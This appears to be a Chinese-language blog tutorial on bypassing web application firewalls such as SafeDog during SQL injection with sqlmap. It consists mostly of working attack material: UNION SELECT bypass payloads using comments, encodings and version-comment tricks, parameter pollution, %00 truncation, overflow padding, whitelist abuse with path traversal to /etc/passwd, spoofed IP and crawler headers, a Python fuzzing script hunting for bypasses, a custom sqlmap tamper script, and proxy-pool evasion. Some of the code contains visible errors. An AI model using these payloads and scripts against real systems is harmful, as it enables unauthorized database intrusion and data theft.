【SQL注入-8】SQLMAP绕过Waf

【SQL注入-8】SQLMAP绕过Waf_第1张图片

应用层
大小写/关键词替换

id=1 UnIoN/**/SeLeCT 1,user()

Hex() bin() 等价于ascii()

Sleep() 等价于benchmark()

Mid() substring() 等价于substr()

@@user() 等价于User()

@@version 等价于version()

各种编码

大小写 URL hex %0A等等

注释的使用

// – --+ # // + : %00 /!/

再次循环

union==uunionnion

等价替换

user()=@@user() and& or=| ascii=hex等

参数污染

?id=1&id=2&id=3

编码解码及加密解密

s->%73->%25%37%33

hex,Unicode,base64等

更改提交方式

GET POST COOKIE等

POST->multipart/form-data

中间件HPP参数污染

数据库特性

【SQL注入-8】SQLMAP绕过Waf_第2张图片

【SQL注入-8】SQLMAP绕过Waf_第3张图片
【SQL注入-8】SQLMAP绕过Waf_第4张图片

逻辑层
1.逻辑问题
(1)云waf防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。

(2)当提交GET、PosT同时请求时,进入PosT逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。

(3)HTTP和HTTPs同时开放服务,没有做HTTP到HTTPs的强制跳转,导致HTTPs有WAF防护,HTTe没有防护,直接访问HTTP站点绕过防护。

(4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数输入,从而导致bypass。比如: id=1%00and 1=2 union select1,2,column_name from information_schema .columns

2.性能问题
猜想1:在设计WAF系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。

猜想2:不少WAF是c语言写的,而c语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug,从而实现绕过。

例子1:
?id=1 and (select 1)=(select
0xA1000)+UnIoN+SeLeCT+1,2,version(),4,5,database ( ) , user(),8 ,9
Ps:0xA
1000指0xA后面"A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里100o只做参考也许在有些情况下可能不需要这么长也能溢出。

例子2:
?a0=0&a1=1&. . . …&a100=100&id=1 union select 1,schema_name,3 from INFORMATION_sCHEMA.schemata
备注:获取请求参数,只获取前100个参数,第101个参数并没有获取到,导致SQL注入绕过。

3.白名单
方式一:IP白名单
从网络层获取的IP,这种一般的伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。
测试方法:修改http的header来bypass waf
X-forwarded-for
X-remote-IP
X-originating-IP
X-remote-addr
X-Real-ip
如果waf接受IP地址是通过网络层(TCP、IP)即使我们对数据包进行修改,对方也是不会接受的/不以它为主
实战中意义不大,需要满足的条件比较多(接受数据方式是用不用脚本解析)

方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件后缀的请求。
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php只识别到前面的aspx/.php后面的基本不识别。
我们可以发现在我们加了x.txt后还可以正常访问页面,在之前我们可以这种方式进行waf绕过,但现在不行了

发现加上 and 1=1后直接被拦截
【SQL注入-8】SQLMAP绕过Waf_第5张图片

方式三: url白名单
为了防止误拦,部分wsf内置默认的白名单列表,如admin / manager/ system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:
http : //10.9.9.201/sql -php/ a cmin. php ?id=1

http: / /10.9.9.201/ sql.php?a=/manage/&b=…etc/passwd

http://10.9.9.201/…/ …/…/…/ manage/ …/ sql.asp?id=2
waf通过/manage/”进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/ sql.php?s=/manage / &b=…/etc/passwd绕过防御规则。

方式四:爬虫白名单
部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:

1、根据userAgent 2、通过行为来判断
Useragent可以很容易欺痈,我们可以伪装成爬虫尝试绕i过。User Agent switcher (firefox 附加组件),下载地址:
https://addons.mozilla.org/en-us/firefox/addon/user-agent-switcher/
扫描器过快的进行扫描,不仅获得的信息是假的,还会被waf拦截。
【SQL注入-8】SQLMAP绕过Waf_第6张图片
这时候我们用脚本进行扫描,在http头部修改UserAgent进行欺骗,让对方服务器误以为是搜索引擎进行爬虫,从而成功不被拦截,获取到相关信息。
【SQL注入-8】SQLMAP绕过Waf_第7张图片
FUZZ 绕过脚本结合编写测试

import request,time

url='http://127.0.0.1/sqlilabs/less-2/?id=-1'
union = 'union'
select = 'select'
num = '1,2,3'
#干扰字符
a = {'%0a','%23'}
aa= {'x'}
aaa = {'%0a','%23'}
b = '/*!'
c = '*/'
def bypass():
	for du in a:
		for dus in aa:
			for duss in aaa:
				for two in range(44500,44600):  #版本号
					urls=url+du+dus+duss+b+str(two)+union+c+du+dus+duss+select+du+dus+duss+num
					#urls = url + du +dus +duss+union +du +dus +duss +b +str(two)+select+c +du+dus+duss+num
					try:
						result = request.get(urls).text
						len_r = len(result)
						if (result.find('safedog')==-1):
							print('bypass url addres :' + urls + '|' +str(len_r))
							if len_r == 715:
								fp = open('url.txt','a+')
								fp.write(urls+'\n')
								fp.close()
					except Exception as err:
						print('connecting error')
						time.sleep(0,1)
if _name_ == '_main_':
	print('fuzz start!')
	bypass()

安全狗+云盾 SQL 注入插件脚本编写

在安全狗开启的情况下,我们使用sqlmap工具进行注入,发现注入失败
在这里插入图片描述
tamper的使用(内置的脚本只能针对与那些ctf比赛,我们一般都是需要自己编写脚本)

我们自己编写代码进行注入,发现还是注入不了。在这里我们分析注入不了的原因,一方面不是扫描过快(网站还可以打开),一方面也不是因为脚本的原因

#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import os

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" %
(os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
#%23a%0aunion/*!44575select*/1,2,3
if payload:
payload = payload.replace("union", "%23a%0aunion")
payload = payload.replace("select", "/*!44575select*/")
payload = payload.replace("%20", "%23a%0a")
payload = payload.replace(" ", "%23a%0a")
payload = payload.replace("database()", "database%23a%0a()")
return payload

在这里插入图片描述
在这里插入图片描述
我们进行抓包,看看原因出现在哪里?
在这里插入图片描述
【SQL注入-8】SQLMAP绕过Waf_第8张图片
通过抓包所得的数据和安全狗的防护规则,我们发现原因在于sqlmq在http头部自爆身份了,导致注入不成功
【SQL注入-8】SQLMAP绕过Waf_第9张图片
为了解决这个问题,我们使用 –radom-agent来进行user-agent头部随机性,防止自报家门。(没开cc攻击防护)
使用同样的语句使用工具进行注入,发现注入一半停下来了,发现是访问太快被拦截了(开cc攻击防护),为了解决这个问题,我们可以使用延迟、代理池、爬虫这三种方法

爬虫
【SQL注入-8】SQLMAP绕过Waf_第10张图片

延迟
在这里插入图片描述
代理池
思想:主要是拦截一个IP地址,我们就换一个IP地址进行注入(调动很多台服务器)
sqlmap +外部代理池绕过IP拦截

小知识

如果遇到sqlmap中没有的功能怎么注入?(没有对应的语句能够对应我们需要改变的地方)
写中转脚本(py开发)
写在txt文件中
【SQL注入-8】SQLMAP绕过Waf_第11张图片
在这里插入图片描述

%23x%0aunion%23x%0Aselect%201,2,3

//版本号进行绕过,只有当满足条件(4.45.09版本以上)的时候该语句才会被执行,现在绕不过了
%20union%20/!44509select/%201,2,3%20/!44509union/%23x%0aselect%201,2,3
id=1/**&id=-1%20union%20select%201,2,3%23*/
%20union%20all%23%0a%20select%201,2,3%23
【SQL注入-8】SQLMAP绕过Waf_第12张图片

import json
import requests

url='http://192.168.0.103:8080/'

head={

'User-Agent':'Mozilla/5.0 

(compatible;Baiduspider-render/2.0;

+http://www.baidu.com/search/spider.html)'

}

for data in open('PH1P.txt'):

data=data.replace('\n','')

urls=url+data

code=requests.get(urls).status_code

print(urls+'|'+str(code))

中转注入

在这里插入图片描述
基础代码
【SQL注入-8】SQLMAP绕过Waf_第13张图片
【SQL注入-8】SQLMAP绕过Waf_第14张图片
加入修改的参数
实现自定义数据包

中专注入实战

你可能感兴趣的:(sql,java)